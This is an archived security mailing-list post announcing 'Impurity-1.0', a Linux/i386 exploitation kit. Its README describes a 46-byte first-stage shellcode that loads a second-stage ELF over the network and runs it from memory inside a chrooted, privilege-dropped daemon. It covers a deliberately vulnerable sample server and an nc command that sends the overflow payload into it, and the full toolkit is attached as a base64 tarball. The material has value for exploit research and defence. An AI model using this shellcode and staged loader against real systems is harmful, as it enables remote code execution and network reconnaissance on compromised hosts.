TUCoPS :: Linux :: General :: bt1280.txt

The joys of impurity (was: MOSDEF, InlineEgg)


--VV4b6MQE+OnNyhkM
Content-Type: multipart/mixed; boundary="1SQmhf2mF2YjsYvc"
Content-Disposition: inline


--1SQmhf2mF2YjsYvc
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi,
I enclose the impurity-1.0 release. The README follows. I would like to hear
some comparisons with MOSDEF and InlineEgg; can you guys implement nmap in
your shellcode ;) ?
peace,=20
algo

	Impurity-1.0
	by Alexander E. Cuttergo <cuttergo@gmx.net>
=09
	Concept
	Impurity is a set of scripts which make it easy to produce a
shellcode ("first stage") which is able to download over the net an=20
executable ELF file ("second stage") and execute it without writing it to
the disk first. The first stage shellcode itself is almost constant (except=
=20
for one parameter, the executable length) and very short - 46 bytes. Using=
=20
this approach, one does not waste hours composing and debugging a complex=
=20
shellcode - just write a .c program, run impurity (which creates the second
stage ELF binary) and you are all set.
	Impurity is mostly useful when exploiting a daemon which runs
chrooted and with dropped privileges; in such case one cannot simply execute
/bin/sh. Compare it with MOSDEF and InlineEgg.
	Currently impurity is implemented for Linux/i386 only; however,=20
porting to other OS/architectures should be trivial, provided they use ELF=
=20
standard.

	License
	GPL v2

	Theory of operation
	In order to be able to execute an ELF binary easily, we will have to
compile it (more precisely, link it) in a special way.=20
1) In order to not be troubled by shared libraries, we will link the binary
statically.
2) An usual executable text segment is mapped at 0x8048000. In our case,
this area is occupied by the text segment of an overflown binary. We could
unmap() it, but this would make our shellcode unnecessarily large. The
solution - use a linker script which will place the text segment starting at
different address. We will use 0xbfff1000 - it is within the stack, so all
we need to allocate memory for our executable is to do=20
"movl $0xbfff1000, %esp". This also means we will need an executable stack -
this should not be a problem usually. Enhancing shellcode in a way which
allocates memory for our ELF by mmap(...,PROT_EXEC,...) is left as an
excercise for a reader.
Moreover, in order to consequently simplify our first stage shellcode,
command line arguments and environment are not set, dereferencing them will
cause a SIGSEGV most likely. It is easily fixable in the second stage itself
(see tracepath.c example).
3) In a normal executable, the text and data segments are in disjoint memory
areas, with different permissions. This again complicates the loading
process. To avoid it, we will link our ELF executable as impure executable
(ld -N).
4) Binaries linked statically with recent glibc are large. This is usually
not a problem - during the bruteforcing stage of an exploit, we do not need
to send the binary at all to determine whether the correct offset has been
found. Anyway, "diet libc" is recommended - small programs linked with diet
libc are usually in 2k-30k size range. The provided shellcode (bootcode.S)
uses an unsigned short to store the executable length, thus limiting the
ELF binary to 64k (bla bla excercise for a reader bla).
5) The first stage shellcode downloads the second stage ELF binary from file
descriptor 0. It should not be difficult to add code which utilizes "find
socket shellcode", or just creates appropriate socket itself. Excercise,
reader, make bucks by selling this enhancement, bla.

Having 1-5 in mind, executing an ELF is really simple - just read
appropriate number of bytes from fd 0 into memory starting at 0xbfff1000,
and then jump to 0xbfff1074, where the entry point should be. Execve()
demystified ;)

	Provided code
bootcode.S - first stage shellcode
bootstrap.c - trivial stub which emits to stdout asm from bootcode.S,
	adjusting file length u16 in its body
filesize.c - a helper which prints the file size to stdout
script-ld-impure-into-stack - a proper ld script
tracepath.c - a sample second stage. It is almost a verbatim copy of
	tracepath.c from iputils; the only changes are a few lines to
	prepare a command line and environment.
shelix.c - a sample program, vulnerable to a buffer overflow. It does
chroot(/var/empty) and setuid(12345), so we cannot break out of chroot nor
execute /bin/sh; also we have no writeable directory to download any
executable to. As an example, we use impurity to produce a second stage=20
based on tracepath, hoping to learn the DMZ layout. Yes, we can use nmap (or
linux_autorooter.0227) as the second stage easily.

	Running a sample code
You have to install diet libc (http://www.fefe.de/dietlibc/) first.
1) Run "make"
2) Run "shelix" as root via [x]inetd or "nc -l -p shelix_port -e ./shelix"
3) "make" produces "ovdata" file, which contains buffer overflow payload and
the first stage shellcode, so:
$ (cat ovdata ; sleep 1; cat tracepath; cat) | nc localhost shelix_port
Shelix: got token length 2
Shelix: got token length 2
Shelix: got token length 2
Shelix: got token length 2
Shelix: got token length 2
Shelix: got token length 2
Shelix: got token length 2
Shelix: got token length 46
Second stage OK. Which ipaddr should I try ?
c.d.40.1			<- entered from stdin
 1?: [LOCALHOST]     pmtu 1500
 1:  x.y.131.57    2.127ms
 2?: x.y.20.176
 3?: a.b.40.5
 4?: c.d.40.1
     Resume: pmtu 1500 hops 4 back 4

Again, if you want to use a different second stage, all you need is to comp=
ile
its sources instead of tracepath.c . If attacking a different vulnerable
daemon, you will need to change the overflow payload creation ("ovdata"
target in Makefile), but no need to touch any assembly.

--1SQmhf2mF2YjsYvc
Content-Type: application/x-gzip
Content-Disposition: attachment; filename="impurity-1.0.tgz"
Content-Transfer-Encoding: base64

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
n+NzfI7P8Tk+x+f4HJ/jc3y+rue/EpkFWAB4AAA=

--1SQmhf2mF2YjsYvc
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="impurity-1.0.tgz.asc"

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQA/fl0zP2KVJkEIREsRAsX2AJ9Y41C1YISESNwljA/AoJATxfPKGgCfdMeX
RpOgRZvyoRaHuPIFKnpWsik=
=WzvC
-----END PGP SIGNATURE-----

--1SQmhf2mF2YjsYvc--

--VV4b6MQE+OnNyhkM
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE/gdkLP2KVJkEIREsRAgXGAJ4vRkH/CRmoA48oHYdR4Z6dprR99QCeJzzD
2rtFkAGUXByd2kCTJiGSIM0=
=kSoO
-----END PGP SIGNATURE-----

--VV4b6MQE+OnNyhkM--

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH